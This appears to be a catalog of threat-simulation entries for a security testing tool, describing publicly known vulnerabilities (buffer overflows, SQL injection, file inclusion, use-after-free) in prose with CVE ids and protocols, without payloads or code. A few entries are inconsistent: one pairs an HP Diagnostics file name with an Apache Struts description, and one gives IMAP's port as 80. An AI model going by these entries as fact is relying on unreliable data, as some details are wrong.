Threat Package:	Standard
Threat File Name:	TSL20120626-05_Zend_Technologies_Zend_Framework_Zend_XmlRpc_Information_Disclosure.xml
Executive Description:	Zend Technologies Zend Framework Zend_XmlRpc Information Disclosure
Detailed Description:	An information-disclosure vulnerability exists in Zend Technologies Zend Framework. The vulnerability is due to insecure use of the SimpleXMLElement class while parsing XML data. A remote, unauthenticated attacker can leverage this vulnerability by adding an external Entity to XML-RPC requests to open arbitrary files and/or TCP connections. Successful exploitation would result in the disclosure of information from local files.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-3363
OSVDB:	83221
Threat File Name:	finger_bomb_IPv6.xml
Executive Description:	Finger Bomb (IPv6 Version)
Detailed Description:	This threat sends a string of @@@@'s to the finger service. This is known to crash and consume resources on older versions of finger. Finger typically listens on port 79. (IPv6 Version)
Protocol Type:	Finger/IPv6
CVEID:	CVE-1999-0105
OSVDB:	64
Threat Package:	Standard
Threat File Name:	autodealer_sqli_IPv6.xml
Executive Description:	autoDealer <= 2.0 (iPro) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. autoDealer an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mailutils_search_IPv6.xml
Executive Description:	GNU MailUtils IMAP Format String Attack (IPv6 Version)
Detailed Description:	This threat sends a format string attack via the SEARCH verb. This allows the remote attacker to gain access to a remote shell on the mailserver. This threat affects an IMAP server, which typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2005-2878
OSVDB:	13906
Threat Package:	Standard
Threat File Name:	x86NOOPtcp4_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 4 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090908-06_Microsoft_Windows_SMB_Negotiate_Request_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows SMB Negotiate Request Remote Code Execution
Detailed Description:	A vulnerability has been reported in Microsoft Server Message Block (SMB) driver that could allow remote attackers to execute arbitrary code on the vulnerable system due to memory corruption. The vulnerability is due to incorrectly indexing an array when handling specially crafted SMB packets. Remote attackers could exploit this vulnerability by sending a specially crafted network message to a computer running the Server service. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition.
Protocol Type:	SMB
CVEID:	CVE-2009-3103
Threat Package:	Standard
Threat File Name:	aceftpd_dos.xml
Executive Description:	Ace-FTP Client 1.24a Remote Buffer Overflow Proof of Concept
Detailed Description:	This threat uses a malicious ftp server to send a large buffer to any connecting AceFTP clients, causing a denial of service condition. AceFTP client typically connects to ftp port 21.
Protocol Type:	FTP
CVEID:	CVE-2007-3161
Threat Package:	Standard
Threat File Name:	FSC20090305-03_Mozilla_Firefox_SVG_Data_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox SVG Data Processing Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in Mozilla Firefox. The vulnerability is due to insufficient validation when handling SVG data. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack that arbitrary code being injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0771
Threat Package:	Standard
Threat File Name:	TSL20120217-05_Novell_GroupWise_Messenger_nmma_exe_createsearch_Memory_Corruption.xml
Executive Description:	Novell GroupWise Messenger nmma.exe createsearch Memory Corruption

Detailed Description:	A heap memory corruption vulnerability exists in Novell GroupWise Messenger. Specifically, the vulnerability is caused by improper handling of crafted parameters when processing a request to /createsearch. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target service on port 8300/TCP. Successful exploitation could allow remote code execution in the context of the target service, which is SYSTEM.
Protocol Type:	HTTP
Threat File Name:	imail_bof_imap_list_IPv6.xml
Executive Description:	Ipswitch IMail IMAP List Command DoS Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted IMAP 'LIST' command causing stack corruption. IMAP is an application that typically listens on port 80. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2005-2923
OSVDB:	21499
Threat File Name:	TSL20170706-02_Microsoft_Windows_Search_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Search Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in the Windows Search service of Microsoft Windows. The vulnerability is due to improper handling of objects in memory. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation results in arbitrary code execution under the context of SYSTEM.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-8543
Threat File Name:	webspell_db-download.xml
Executive Description:	WebSPELL Database.PHP Authentication Bypass Vulnerability
Detailed Description:	This threat uses a specially crafted HTTP GET request to return a backup of the affected web site's database resulting in information disclosure and theft of credentials. WebSPELL is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20110208-44_Microsoft_Internet_Explorer_8_IESHIMS_DLL_Insecure_Library_Loading_IPv6.xml
Executive Description:	Microsoft Internet Explorer 8 IESHIMS.DLL Insecure Library Loading(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles the loading of IESHIMS.DLL. A remote attacker can exploit this vulnerability by enticing a target user to save a maliciously crafted dynamic link library (DLL) file on the desktop or modify the system variable PATH. Upon starting the Internet Explorer 8, the malicious DLL will be loaded and executed. In a successful attack the behaviour of the target host is entirely dependent on the intended function of the malicious DLL. The code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	IPV6,HTTP,HTTPS,SMB/CIFS
CVEID:	CVE-2011-0038
Threat File Name:	oes_rfi_IPv6.xml
Executive Description:	OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OES is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1446
Threat Package:	Standard
Threat File Name:	TSL20120113-01_HP_Diagnostics_magentservice_exe_Integer_Wraparound.xml
Executive Description:	Apache Struts 2 ConversionErrorInterceptor OGNL Script Injection
Detailed Description:	A script injection vulnerability has been found in Apache Struts 2. The vulnerability is due to a design error: HTTP request parameters are interpreted as OGNL expressions when conversion errors occur. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable Struts 2 web application. A successful attack will result in the execution of arbitrary OGNL expressions (possibly OS commands) in the security context of the web application server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0391
Threat File Name:	edraw_office_activex_bof_IPv6.xml
Executive Description:	EDraw Office Viewer Component 5.2 "HttpDownloadFileToTempDir()" Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the "HttpDownloadFileToTempDir()" ActiveX Control in EDraw Office Viewer, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TCP_frag.xml
Executive Description:	TCP FRAG Attack
Detailed Description:	This attack is based of the Imperfect Networks Incremental Frag attack.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20090415-01_Oracle_Application_Server_10g_OPMN_Service_Format_String_Vulnerability.xml
Executive Description:	Oracle Application Server 10g OPMN Service Format String Vulnerability

Detailed Description:	A format string vulnerability exists in Oracle Application Server. The flaw is due to improper handling of user data when logging the events. A remote attacker could exploit this vulnerability by sending specially crafted request to the target system. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process with System level privileges.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0993
Threat Package:	Standard
Threat File Name:	TSL20160407-01_Cisco_Prime_Infrastructure_and_EPNM_Deserialization_Code_Execution_IPv6.xml
Executive Description:	Cisco Prime Infrastructure and EPNM Deserialization Code Execution (IPv6 version)
Detailed Description:	A vulnerability has been found in the web interface of Cisco Prime Infrastructure and Evolved programmable Network Manager (EPNM). The vulnerability is due to insufficient sanitization of user supplied input to the web interface. A remote, unauthenticated attacker could exploit this vulnerability by sending an HTTP POST request with maliciously crafted serialized user data. Successful exploitation could allow an attacker to execute arbitrary code with root level privileges.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-1291
Threat File Name:	TSL20120410-04_Microsoft_Internet_Explorer_OnReadyStateChange_Use-after-free.xml
Executive Description:	Microsoft Internet Explorer OnReadyStateChange Use-after-free
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the attempted use of an object after it has been deleted. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2012-0170
Threat File Name:	FSC20090414-04_Microsoft_Wordpad_Word_Converter_XST_Structure_Buffer_Overflow.xml
Executive Description:	Microsoft Wordpad Word Converter XST Structure Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the Word 8 converter shipped with the Microsoft Windows family of operating systems. The flaw is due to a boundary error when processing a crafted Word document file. A remote attacker can exploit this vulnerability by enticing the target user to open a specially crafted Word 97 document with an affected version of WordPad. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4841
Threat Package:	Standard
Threat File Name:	oce_printer_dos.xml
Executive Description:	OCE 3121/3122 Printer Denial of Service
Detailed Description:	This threat sends a crafted HTTP GET query which contains an excessively long buffer which triggers a buffer overflow situation. The OCE 3121 and OCE 3122 printers which contain HTTP based management which listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100826-01_OpenLDAP_Modrdn_RDN_UTF-8_String_Code_Execution_IPv6.xml
Executive Description:	OpenLDAP Modrdn RDN UTF-8 String Code Execution (IPv6 Version)
Detailed Description:	OpenLDAP is a free, open source implementation of the Lightweight Directory Access Protocol (LDAP) which has been included with several common Linux distributions. A vulnerability has been reported in OpenLDAP. The vulnerability is due to a memory corruption when handling a UTF8 string via modrdn. A remote attacker could exploit this vulnerability by sending a malicious request via modrdn to connect to the target server. Successful exploitation would allow injection and execution of arbitrary code in the context of the affect service. Unsuccessful code injection attempts would cause termination of sldapd daemon resulting in a denial of service condition.
Protocol Type:	LDAP,LDAPS
CVEID:	CVE-2010-0211
Threat Package:	Standard
Threat File Name:	TSL20060113-01_Apple_QuickTime_PictureViewer_Buffer_Overflow.xml
Executive Description:	Apple QuickTime PictureViewer Buffer Overflow
Detailed Description:	There exists an stack-based buffer overflow vulnerability in Apple QuickTime PictureViewer. The vulnerability is caused due to insufficient data validating when processing JPEG image files. An attacker may exploit the vulnerability by enticing the user to open a crafted JPEG file with the affected product, resulting in execution of arbitrary code on the target host within the security context of the current user. In a simple attack case, the affected application will terminate upon opening of the malicious JPEG image file. In a more sophisticated attack scenario, where code injection and execution is attempted, the behaviour of the target is dependent on the intention of the injected code. Any executed code will be within security context of the currently logged in user.
Protocol Type:	HTTP,FTP,IMAP,POP3,SMB/CIFS,NFS
CVEID:	CVE-2005-2340
Threat File Name:	TSL20140317-06_Google_Chrome_V8_JavaScript_Engine_Memory_Corruption_IPv6.xml
Executive Description:	Google Chrome V8 JavaScript Engine Memory Corruption(IPv6 Version)

Detailed Description:	A memory corruption vulnerability exist in Google Chrome. The vulnerability is due to an error while processing JavaScript code by the V8 JavaScript Engine. A remote attacker could exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could permit an attacker to execute arbitrary code in the Google Chrome sandbox
Protocol Type:	HTTP,HTTPS,HTML
CVEID:	CVE-2014-1705
Threat File Name:	lupper32_IPv6.xml
Executive Description:	Lupper Worm 32 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20090323-08_HP_OpenView_Network_Node_Manager_OvAcceptLang_Parameter_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager OvAcceptLang Parameter Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager software. The vulnerability is due to a boundary error while processing specially crafted HTTP requests sent to the server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, only the instance of the affected process will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0921
Threat Package:	Standard
Threat File Name:	TSL20120202-07_Multiple_Mozilla_Products_Ogg_Vorbis_Decoding_Memory_Corruption.xml
Executive Description:	Multiple Mozilla Products Ogg Vorbis Decoding Memory Corruption
Detailed Description:	A stack buffer overflow vulnerability exists in Mozilla Firefox, Thunderbird and Seamonkey. The vulnerability is due to an error while decoding Ogg Vorbis files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted Ogg Vorbis file, likely embedded in a webpage. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0444
Threat File Name:	igateway_bof.xml
Executive Description:	iGateway Buffer Overflow Vulnerability
Detailed Description:	This threat sends a maliciously crafted HTTP GET query to the iGateway server. This vulnerability is exploitable while the server is in debug mode. The iGateway service is found on port 5250
Protocol Type:	HTTP
CVEID:	CVE-2005-3190
OSVDB:	19920
Threat Package:	Standard
Threat File Name:	TSL20141209-16_Microsoft_Windows_Graphics_Component_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows Graphics Component Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability exists in Microsoft Windows. The vulnerability is due to a design weakness in the Windows graphics component when handling a JPEG file. Successful exploitation could result in information disclosure with the privileges of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS.IPV6
CVEID:	CVE-2014-6355
OSVDB:	113201
Threat File Name:	TSL20160913-34_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3295_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3295 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-3295
Threat File Name:	FSC20080408-15_Microsoft_Windows_GDI_EMF_Image_File_Handling_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDI EMF Image File Handling Stack Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in the way Microsoft Windows Graphics Device Interface (GDI) handles filename parameters in EMF image files. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted EMF file. Successful exploitation would result in injection and execution of arbitrary code in the context of currently logged-in user. Attempts that fail to execute injected code will likely result in denial of service conditions. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1087
Threat Package:	Standard
Threat File Name:	firefoxSidebar_IPv6.xml
Executive Description:	Mozilla Firefox Sidebar Code Execution (IPv6 Version)
Detailed Description:	This threat represents a malicious web page that can be added to the Mozilla sidebar bookmark list. If a webpage is opened in the sidebar panel, it runs in the context of a privileged user, allowing arbitrary code execution. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0402
OSVDB:	15009
Threat Package:	Standard

Threat File Name:	TSL20120927-01_Novell_GroupWise_HTTP_Interfaces_Arbitrary_File_Retrieval_IPv6.xml
Executive Description:	Novell GroupWise HTTP Interfaces Arbitrary File Retrieval [IPv6, Version]
Detailed Description:	A directory traversal vulnerability exists in the HTTP interfaces of Novell GroupWise Post Office Agent, Message Transfer Agent and Internet Agent. The vulnerability is due to a failure to sanitize the request URI for directory traversal characters. A remote unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP requests to a vulnerable interface. Successful exploitation allows an attacker to retrieve arbitrary files with the permissions of the GroupWise agents, normally System on Windows platforms.
Protocol Type:	IPv6,HTTP
CVEID:	CVE-2012-0419
OSVDB:	85801
Threat File Name:	TSL20170412-07_Adobe_Acrobat_and_Reader_JPEG2000_Parsing_Heap-based_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat and Reader JPEG2000 Parsing Heap-based Buffer Overflow
Detailed Description:	A heap-based buffer overflow has been reported in the JPEG2000 component of Adobe Acrobat and Acrobat Reader. The vulnerability is due to improper processing embedded JPEG2000 images in PDF files. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted webpage or a maliciously crafted document. Successful exploitation of the vulnerability lead to remote code execution under the context of the user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-3055
Threat File Name:	TSL20131016-21_HP_Intelligent_Management_Center_SOM_sdFileDownload_Information_Disclosur.xml
Executive Description:	HP Intelligent Management Center SOM sdFileDownload Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the SOM add-in module of HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation in the <i><sdFileDownload></i> servlet when processing HTTP request parameters. <i><para></i> By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system. <i></para></i>
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4826
OSVDB:	98251
Threat File Name:	TSL20120508-03_Microsoft_Office_RTF_Mismatch_Memory_Corruption.xml
Executive Description:	Microsoft Office RTF Mismatch Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to an error when parsing Rich Text Format (RTF) files, which can lead to memory corruption. This vulnerability can be exploited by enticing a user to open a specially crafted RTF file with Microsoft Office. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0183
OSVDB:	Not been assigned
Threat File Name:	sophos_chunkheap_dos.xml
Executive Description:	Sophos Antivirus CHM File Heap Overflow Vulnerability
Detailed Description:	This threat leverages a flaw in Sophos Antivirus's handling of specially crafted CHM files resulting a denial-of-service condition. Sophos Antivirus is a client application. This attack uses a web server listening on port 80 for payload delivery.
Protocol Type:	HTTP
CVEID:	CVE-2006-5646
Threat Package:	Standard
Threat File Name:	foing_cmi_e.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via <i>gen_m3u.php</i> "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120710-03_Microsoft_ActiveX_Data_Objects_Cachesize_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft ActiveX Data Objects Cachesize Memory Corruption(IPv6)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft ActiveX Data Objects. The vulnerability is due to access to a pointer that has been improperly initialized. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to visit a specially crafted web page containing specially crafted HTML, XML and script code. This can lead to code execution in the context of the affected user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1891
OSVDB:	83657
Threat File Name:	TSL20170330-09_Trend_Micro_IWSVA_testConfiguration_Command_Injection.xml
Executive Description:	Trend Micro IWSVA testConfiguration Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests with <i>/rest/testConfiguration</i> URI. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the process.
Protocol Type:	HTTP,HTTPS
Threat File Name:	SymantecNetbios1_IPv6.xml
Executive Description:	Symantec Firewall NetBIOS Buffer Overflow (IPv6 Version)

Detailed Description:	This threat sends a corrupted NetBIOS answer causing a heap overflow in Symantec's Firewall software. In order for this threat to work the user must target an open, listening UDP port (for instance, port 137) and allow this traffic through the built in firewall. (IPv6 Version)
Protocol Type:	NETBIOS_NS/IPv6
CVEID:	CVE-2004-0444
OSVDB:	6101
Threat Package:	Standard
Threat File Name:	sipextraseparators_IPv6.xml
Executive Description:	SIPPING: Extraneous Header Field Separators (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with additional semicolons and commas in header fields with no parameters and values between them. This is not legal and since it is unexpected, may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20140226-14_Apple_QuickTime_ftab_Atom_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime ftab Atom Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation on the length of font names when parsing "ftab" atoms. A remote unauthenticated attacker can exploit this vulnerability by enticing the target user to open a specially crafted file with the affected application. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS,SMB/CIFS,NFS,IAMP,POP3,SMTP,IPv6
CVEID:	CVE-2014-1246
OSVDB:	103743
Threat File Name:	FSC20101214-40_Microsoft_Office_FlashPix_Image_Converter_Buffer_Overflow.xml
Executive Description:	Microsoft Office FlashPix Image Converter Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Microsoft Office handles FlashPix image files. An attacker can exploit this vulnerability by enticing a target user to insert a malicious FlashPix image file into an Office document.Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.Note: The research team has found that this vulnerability is not properly mitigated with the MS10-105 patch. A previously released bulletin MS10-087 contains a workaround mitigation for this vulnerability. After this mitigation, the vulnerable code remains but is only reachable if certain registry entries are present on a system.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-3951
Threat File Name:	ms_helpworkshop_bof_IPv6.xml
Executive Description:	Microsoft Help Workshop .CNT File Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client making a HTTP GET request, and the server replying with a maliciously constructed .CNT file with an unusually long string that will result in a buffer overflow condition when accessed by the vulnerable version of Help Workshop. The .CNT file is transferred over HTTP, which usually runs over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	joombla_rfi_IPv6.xml
Executive Description:	Joomla Webring Component (component_dir) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the Webring component which allows a malicious user to include commands in the context of the vulnerable web server. Joomla is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20110224-06_CA_Internet_Security_Suite_XMLSecDB_ActiveX_Insecure_File_Creation.xml
Executive Description:	CA Internet Security Suite XMLSecDB ActiveX Insecure File Creation
Detailed Description:	An insecure file creation vulnerability exists in CA Internet Security Suite. The vulnerability is due to an error when the XMLSecDB ActiveX control, which is installed with the HIPSEngine component, handles SetXml and Save methods. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML page. Successful exploitation could possibly allow attackers to execute arbitrary code within the context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1036
Threat File Name:	wbblog_xss_IPv6.xml
Executive Description:	WBBlog Cross Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the Index.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. WBBlog is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1482
Threat Package:	Standard
Threat File Name:	FSC20090825-04_Multiple_Products_KeyView_Excel_File_SST_Parsing_Integer_Overflow.xml
Executive Description:	Multiple Products KeyView Excel File SST Parsing Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in multiple products using Autonomy KeyView SDK. The vulnerability is due to an error when parsing a Shared String Table (SST) record inside of an Excel file. A remote attacker could exploit this vulnerability by enticing the target user to open or view a malicious Excel file with the vulnerable version of the product. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP
Threat Package:	Standard
Threat File Name:	FSC20060512-14_RealVNC_Password_Authentication_Bypass_Vulnerability.xml

Executive Description:	RealVNC Password Authentication Bypass Vulnerability
Detailed Description:	An authentication bypass vulnerability exists in the RealVNC server product. Specifically, the vulnerable application does not properly verify the chosen authentication methods sent to it by the client, resulting in a situation where the requirement for authentication is bypassed. An attacker can exploit this vulnerability by modifying a RealVNC client or by using traffic-modifying tools to connect to any RealVNC server without authentication.
Protocol Type:	VNC
CVEID:	CVE-2006-2369
Threat Package:	Standard
Threat File Name:	FSC20070911-10_Microsoft_Visual_Studio_Crystal_Reports_RPT_File_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Visual Studio Crystal Reports RPT File Handling Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Business Objects Crystal Reports handles RPT files. The vulnerability is because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. An attacker may exploit this issue by enticing a victim user into opening a malicious RPT file, resulting in the execution of arbitrary code with privileges of the currently logged-in user. Failed exploit attempts will likely result in denial of service conditions. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6133
Threat Package:	Standard
Threat File Name:	TSL20170314-30_Microsoft_Edge_ProfiledLdElem_Type_Confusion.xml
Executive Description:	Microsoft Edge ProfiledLdElem Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Edge. This vulnerability is due to improper objects access in memory in ProfiledLdElem() function. A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0071
Threat File Name:	TSL20120214-10_Microsoft_Internet_Explorer_HTML_Layout_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Layout Use After Free(IPV6 Version)
Detailed Description:	A use-after-free vulnerability exists in the HTML layout code of Microsoft Internet Explorer. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. If an attack succeeds in injecting code the behaviour of the target host is entirely dependent on the intended function of the injected code. In this case the injected code would be executed within the security context of the currently logged-in user. If such an attack is not successful, the vulnerable application may terminate abnormally
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-0011
Threat File Name:	iis_pbserver_IPv6.xml
Executive Description:	MS00-094 IIS Phone Book Server Buffer Overrun (IPv6 Version)
Detailed Description:	This threat takes advantage of a buffer overflow in the phone book service of IIS 4.0 and 5.0. Causes remote code to be executed listing a directory listing in winnt\system32. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-1089
OSVDB:	463
Threat Package:	Standard
Threat File Name:	contentserv_lfi.xml
Executive Description:	ContentServ FileServer.php Directory Traversal Vulnerability
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files via a .. (dot dot) in the src parameter. ContentServ is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6277
Threat Package:	Standard
Threat File Name:	TSL20150916-07_Avira_Management_Console_Server_HTTP_Header_Processing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Avira Management Console Server HTTP Header Processing Heap Buffer Overflow IPv6 version
Detailed Description:	A heap buffer overflow vulnerability has been reported in Avira Management Console Server. The vulnerability exists in the way Update Manager Service handles overly long HTTP headers. A remote unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the server. Successful exploitation could lead to arbitrary code execution in the security context of System. Tester should set the variable \$destPort to 7080 before test.
Protocol Type:	HTTP.IPV6
Threat File Name:	xmplay_rbof.xml
Executive Description:	XMplay Playlist Files Remote Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a flaw in XMplay via malicious .pls files to allow for arbitrary code to executed on a client system. XMplay is a media player and can play .pls files served by web servers listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
